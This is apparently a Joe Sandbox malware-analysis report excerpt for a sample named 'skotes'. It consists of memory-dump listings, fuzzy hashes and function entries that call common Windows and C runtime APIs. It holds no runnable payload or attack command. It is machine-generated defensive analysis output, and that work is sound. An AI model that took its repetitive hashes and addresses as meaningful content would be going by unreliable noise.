Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 05cbe404aa75224d185caf5f1b5dd5769d6d6839c9cd8ff911e2fe10d55f3f8c
Instruction ID: 7c3d8d73393779b61690db56bbc95ea3c3cc1b57bf673667b9ba170ac79f130c
Opcode Fuzzy Hash: 05cbe404aa75224d185caf5f1b5dd5769d6d6839c9cd8ff911e2fe10d55f3f8c
Instruction Fuzzy Hash: 53112E7290410CABDF14DED5C885EDF77BDAF88310F209262E512E2080EA34EA06CB71

Function 007BAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 007BAC8D

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: e450ec0e4934803f58046bc4900b546336eaa56126efe0e187f1e2996c5d9fa8
Instruction ID: a38852b53114ea20d8392c4e820f8e708d8f18466389adbcd26e582a0cca3b54
Opcode Fuzzy Hash: e450ec0e4934803f58046bc4900b546336eaa56126efe0e187f1e2996c5d9fa8
Instruction Fuzzy Hash: FD111571A0420AAFCB05DF58E945ADE7BF4EF48304F148069F809AB251D634EE21CB65

Function 007BB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,DEE27865,?,?,0079D3FC,DEE27865,?,00797A8B,?,?,?,?,?,?,00787465,?), ref: 007BB07E

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: b30b7476f94df8d9d8effde8d58ffa864cd30c727075035b7d0c17ba537f7e23
Instruction ID: ecc9d31ffefdd8121f2121f099cc8075304bdc8df70992b524c8fa438c02a6a2
Opcode Fuzzy Hash: b30b7476f94df8d9d8effde8d58ffa864cd30c727075035b7d0c17ba537f7e23
Instruction Fuzzy Hash: 5EE092352412269AEB31327A8D49BFFB64CDF463F0F151210EE7596190EBACDC00C2E1

Function 007C1775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,007C1B65,?,?,00000000,?,007C1B65,00000000,0000000C), ref: 007C1792

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345393248.00000000009F1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345462360.00000000009F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345548165.00000000009F3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345653327.00000000009F8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345760829.0000000000A01000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345818547.0000000000A02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345882043.0000000000A09000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345944526.0000000000A0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346016592.0000000000A14000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A16000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346083494.0000000000A52000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346278578.0000000000A82000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346336703.0000000000A83000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346418269.0000000000A84000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346462442.0000000000A87000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346527626.0000000000A89000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346617708.0000000000A99000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3346696322.0000000000A9A000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: d7fb2195eb3f83e66a80bfac5bdb5bb7d6d56f101a4648ebc68bb93f4fe37c36
Instruction ID: d3d96c0c2af569ac00b86da37f089ff1a4ac71dfdbdb2f6ef8868310a2ef8e74
Opcode Fuzzy Hash: d7fb2195eb3f83e66a80bfac5bdb5bb7d6d56f101a4648ebc68bb93f4fe37c36
Instruction Fuzzy Hash: 4AD0923205010DBFDF129E84DD02EDA7FAAFF48714F014100BE1866020C732E832AB94

Function 04FC0C26 Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

`, xrefs: 04FC0C36

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 14a10680713dd75d138a7ec55079476c1a8c518a212472ff3181d4b1b2580abe
Instruction ID: 51931593766b97b14fad95cae9ddcd3d44d626dae83c5c79e2f913e073645c10
Opcode Fuzzy Hash: 14a10680713dd75d138a7ec55079476c1a8c518a212472ff3181d4b1b2580abe
Instruction Fuzzy Hash: 2C1116FB649221BEB601D5926B54EFB67AEE6C2730330C42EF802C1406E6995A4F6431

Function 04FC0BE3 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13c0df8e0e158bf3357a03f36fb4529ca903aeeac9e169a201b81d408edeb642
Instruction ID: ae81fefa9da5037c1d8d81227b79610cb96b1967f8081cedad84e828054f417d
Opcode Fuzzy Hash: 13c0df8e0e158bf3357a03f36fb4529ca903aeeac9e169a201b81d408edeb642
Instruction Fuzzy Hash: 4221F9FB24D122BDB502C5826B64EFB676EE6C2B30331C82BF803D5406E6995E4F2071

Function 04FC0B93 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4fdd9c8e6828c6a1fe3621f66e4e1315549a5c16602dc9b5700846b9f25a49a1
Instruction ID: bbe176e39b3421d6f8dcb3bf9f42b01773d05908942ace017a9392caaa2bc829
Opcode Fuzzy Hash: 4fdd9c8e6828c6a1fe3621f66e4e1315549a5c16602dc9b5700846b9f25a49a1
Instruction Fuzzy Hash: 6321D6FB24D221BD7102C1822F28EFB676ED2C2630731C52BF802D5546E6D95A5F6072

Function 04FC0BCF Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0460d637aae7cfb577a153ddb48d2d583a200def480c9e327d3cd5e3e4f756fc
Instruction ID: 002653611ea7f1e2efcae7f153f8c9082bb510da8cd915dda684ea8059ed3c1b
Opcode Fuzzy Hash: 0460d637aae7cfb577a153ddb48d2d583a200def480c9e327d3cd5e3e4f756fc
Instruction Fuzzy Hash: 752193FB24D221BDB102D5822F68EFBA76DE2C2730731C82BF802D1406E6D95A5F6171

Function 04FC0C0B Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a0e57d21ff26252a94203dafce3c691883d7adbe0f3d875bf94be938bbe73a3
Instruction ID: 750c1702fbc211d6cb53decb8a73d572e8f57f178747318b5741aeff6208e31a
Opcode Fuzzy Hash: 5a0e57d21ff26252a94203dafce3c691883d7adbe0f3d875bf94be938bbe73a3
Instruction Fuzzy Hash: 1811D2FB24D121BDB102C5823B28EFB676DE2C2731731C83BF802C5406E6985A5F6172

Function 04FC0C6D Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bbaab3f2899229052d98ba08ea2751bd949c950c90c1d96b9c3f3457a3c536d0
Instruction ID: f83987be776cc1f097c74f1a4b623a8b2198af433aec429c023ffae106c312bb
Opcode Fuzzy Hash: bbaab3f2899229052d98ba08ea2751bd949c950c90c1d96b9c3f3457a3c536d0
Instruction Fuzzy Hash: B30167FB24D2607EB102D5927F28EFBAB6DD5C2730331C86FF842D1446E6990A5E6132

Function 04FC0C58 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b7524b3b31da2009b8e95beb5e4710dffe4033da4413135c7fce4b337fd45e3
Instruction ID: ab6d962522e358bb7f7a9189e7fca4365324c0a6241ef92ac30c02646f15d55f
Opcode Fuzzy Hash: 9b7524b3b31da2009b8e95beb5e4710dffe4033da4413135c7fce4b337fd45e3
Instruction Fuzzy Hash: 930190FB249121BCB106D5827F28EFBA76DE1D6B30331C92BF802C1406E6995A4F2572

Function 04FC0C49 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.3388117272.0000000004FC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04FC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4fc0000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 271aac27c195cea74e8628ad3afdea176910448c4afa15282424468582cf72d4
Instruction ID: b4240284b263d8c00c5fd3206a2f5d2cad04d256b8a12e1f316cdb0360a3a900
Opcode Fuzzy Hash: 271aac27c195cea74e8628ad3afdea176910448c4afa15282424468582cf72d4
Instruction Fuzzy Hash: 5C015EFB24D121BD7502D1827F68EFBA76EE1C2B30771C82BF802D1406E6995A5F6432

Non-executed Functions

Function 007A0E13 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 284COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0F16
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0F62

Part of subcall function 007A265D: Concurrency::details::GlobalCore::Initialize.LIBCONCRT ref: 007A2750

Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 007A0FCE
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A0FEA
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A103E
Concurrency::details::GlobalNode::Initialize.LIBCONCRT ref: 007A106B
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 007A10C1

Strings

(, xrefs: 007A0F22

Memory Dump Source

Source File: 00000005.00000002.3342167927.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 00000005.00000002.3342014723.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342167927.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342571928.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342682379.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3342755895.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343236306.0000000000954000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343319215.0000000000957000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000968000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343408372.0000000000976000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343572795.0000000000978000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343700158.000000000097C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343833720.000000000097D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3343905263.000000000097E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344001833.0000000000989000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344172223.000000000098A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344286360.000000000098C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344468329.000000000098E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344576043.00000000009AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344677328.00000000009B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344916998.00000000009DB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3344976898.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345058459.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345124470.00000000009E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345220371.00000000009E6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3345320846.00000000009EA000.00000040.00000001.01000000.00000007.sdmpDownload File
